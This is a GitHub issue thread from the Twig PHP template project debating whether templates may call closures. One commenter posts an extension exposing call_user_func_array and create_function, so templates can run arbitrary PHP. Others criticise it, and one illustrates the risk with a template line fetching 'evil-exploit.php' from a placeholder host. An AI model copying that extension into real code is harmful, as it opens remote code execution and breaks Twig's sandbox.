twigphp / Twig

Twig, the flexible, fast, and secure template language for PHP
https://twig.symfony.com/
BSD 3-Clause "New" or "Revised" License
8.15k stars 1.25k forks source link

Closures support #24

Closed outring closed 14 years ago

outring commented 14 years ago

Now there is no support for calling closures. Call to 1st-level closure {{ closure('test') }} causes syntax error, call 2nd-level (and more) closure {{ some.closure('test') }} causes php error (can't convert closure to string)

fabpot commented 14 years ago

Is it a good idea to pass a closure as a variable to a template? I'm not sure. Well, I'm quite sure it's not ;) Do you have any use case for that?

gwilym commented 14 years ago

http://gist.github.com/426310 is a very dirty hack to call closures via a twig template, I was just curious to see if it was doable

with this, you have to use with a macro-like syntax in the template, but assign it as a member of an array in the context

like $context = array('closures' => array('someclosure' => function(...){ ... }));

and {{ closures.someclosure(...) }}

definitely not proposing this go into the core, just showing an example

I've yet to write a lot of closure stuff because I can't do work stuff on 5.3 yet but if I come up with a good use, then I will think of a cleaner solution

fabpot commented 14 years ago

I'm closing that issue as I don't see any use case for that that really makes sense in a template.

johndoe46 commented 12 years ago

I'm closing that issue as I don't see any use case for that that really makes sense in a template.

I can see this is useful for late instanciation. This is a callable, if Twig doesn't allow this, why should it allow other forms of callables ? This sounds like a useless difference to me.

fabpot commented 12 years ago

We do not support callables. We only support functions, static class methods, and methods on extensions. That's because we need to be able to access that from a "compiled" PHP code, which is not executed in the same context as the original code.

katanacrimson commented 12 years ago

if anything you can add yourself a helper global object with a __call() method that executes your closures as necessary.

ludofleury commented 12 years ago

Yet in a silex + twig usage, this look weird and I'm pretty sure Closure would perfectly fit

<?php

$app['twig']->addFunction('cursor', new Twig_Function_Function('cursor'));
function cursor($params)
{
    return 12345;
}
stof commented 12 years ago

@ludofleury Please think about the result when compiling the template. It cannot be done for closures.

Fustrate commented 12 years ago

Well, it can be done, but it would be messy and it would change the nature of compiled templates. You'd have to assume that everything is valid at compile time and then throw exceptions at runtime when it can't be matched to a defined function.

stof commented 12 years ago

@Fustrate No. the closure would have to be calle at runtime, which cannot be done as you cannot compile the closure in the template

Fustrate commented 12 years ago

@stof That's why I'm saying you'd have to compile it with only the name of the function, and then at run time check to see if it's currently defined as a twig function. Not particularly difficult to do, but that's not how Twig works right now - it's supposed to find errors such as undefined functions at compile time so that it doesn't have to worry about it at run time.

sandvige commented 11 years ago

Here is a simple way to create and use closure in Twig:

class PhpExtensions extends Twig_Extension
{
    public function getFunctions() {
        return array(
            'closure' => new Twig_Function_Method($this, 'closure'),
            'php' => new Twig_Function_Method($this, 'php')
        );
    }

    public function php($function, $args = array())
    {
        return call_user_func_array($function, $args);
    }

    public function closure($args, $code)
    {
        return $this->php('create_function', array($args, $code));
    }

    public function getName()
    {
        return 'php_twig_extension';
    }
}

Which now allow you to do:

{{ php(closure('', 'var_dump("Hello world !");')) }}

Or:

{{ php('array_map', [ someArray, closure('$item', 'return strtolower($item["SomeField"]);') ] ) }}
stof commented 11 years ago

@sandvige not at all. The ticket was about passing a closure in the context and being able to call it in the template. Your extension is about allowing the template to define a closure, which is a really bad idea (it means you embed arbitrary PHP code in your template)

ludofleury commented 11 years ago

I was thinking exactly the same thing, this is against all best practices and SoC.

Ludovic Fleury Sent with Sparrow (http://www.sparrowmailapp.com/?sig)

On Wednesday, November 7, 2012 at 3:40 PM, Christophe Coevoet wrote:

@sandvige (https://github.com/sandvige) not at all. The ticket was about passing a closure in the context and being able to call it in the template. Your extension is about allowing the template to define a closure, which is a really bad idea (it means you embed arbitrary PHP code in your template)

— Reply to this email directly or view it on GitHub (https://github.com/fabpot/Twig/issues/24#issuecomment-10150238).

sandvige commented 11 years ago

Hello,

@stof: About the context, yes, I know, but I was posting here because when you're looking for "closure in twig", you land on this page. My comment was not about solving the issue, which is closed, but just helping people looking for that in their Twig :)

@stof, @ludofleury: About embedding arbitrary code in your template, and going against all best practices and SoC, why is it such a concern since PHP is also a way to alternatively handle templating in Symfony ? Here is just a way to generically extend what Twig is able to do.

About SoC, I assume you're talking about what a View should do in an MVC context (even if Twig is not really the 'V' from MVC since Twig is not requesting thing from the controller, but it uses things the Controller is giving to Twig, but anyway :)), and I think Twig is made to format the data, whatever how complex the data should be transformed to.

What would be the best practice to be able to call array_map ? Creating a new extension which would just map / bind a PHP function ? Until the next required PHP function ?

ludofleury commented 11 years ago

Your comment about V is interesting, but it's almost impossible for me to answer your question since it's always a question of context/needs/philosophy.

On Wed, Nov 7, 2012 at 6:28 PM, COLE Edouard notifications@github.comwrote:

Hello,

@stof https://github.com/stof: About the context, yes, I know, but I was posting here because when you're looking for "closure in twig", you land on this page. My comment was not about solving the issue, which is closed, but just helping people looking for that in their Twig :)

@stof https://github.com/stof, @ludofleuryhttps://github.com/ludofleury: About embedding arbitrary code in your template, and going against all best practices and SoC, why is it such a concern since PHP is also a way to alternatively handle templating in Symfony ? Here is just a way to generically extend what Twig is able to do.

About SoC, I assume you're talking about what a View should do in an MVC context (even if Twig is not really the 'V' from MVC since Twig is not requesting thing from the controller, but it uses things the Controller is giving to Twig, but anyway :)), and I think Twig is made to format the data, whatever how complex the data should be transformed to.

What would be the best practice to be able to call array_map ? Creating a new extension which would just map / bind a PHP function ? Until the next required PHP function ?

— Reply to this email directly or view it on GitHubhttps://github.com/fabpot/Twig/issues/24#issuecomment-10157010.

Ludovic Fleury Paris, France.

+33 664 135 946 Follow me on twitter : @ludofleury http://twitter.com/ludofleury

sstok commented 11 years ago

Allowing to call php functions directly is an big security issue! And also breaks the sandbox system.

{{ php(closure('', 'echo file_gets_content(\'http://example.com/evil-exploit.php\')')) }}
sandvige commented 11 years ago

@sstok Who are you not trusting? The developer? What's the difference between calling that or adding this code in a registered Twig filter / function?

sstok commented 11 years ago

Because Templates might be provided from a database or such, and not every designer will understand that doing this is wrong, and as is said it breaks the sandbox system.

If the PHP code that is executed in template is not validated you can run in to some serious issues.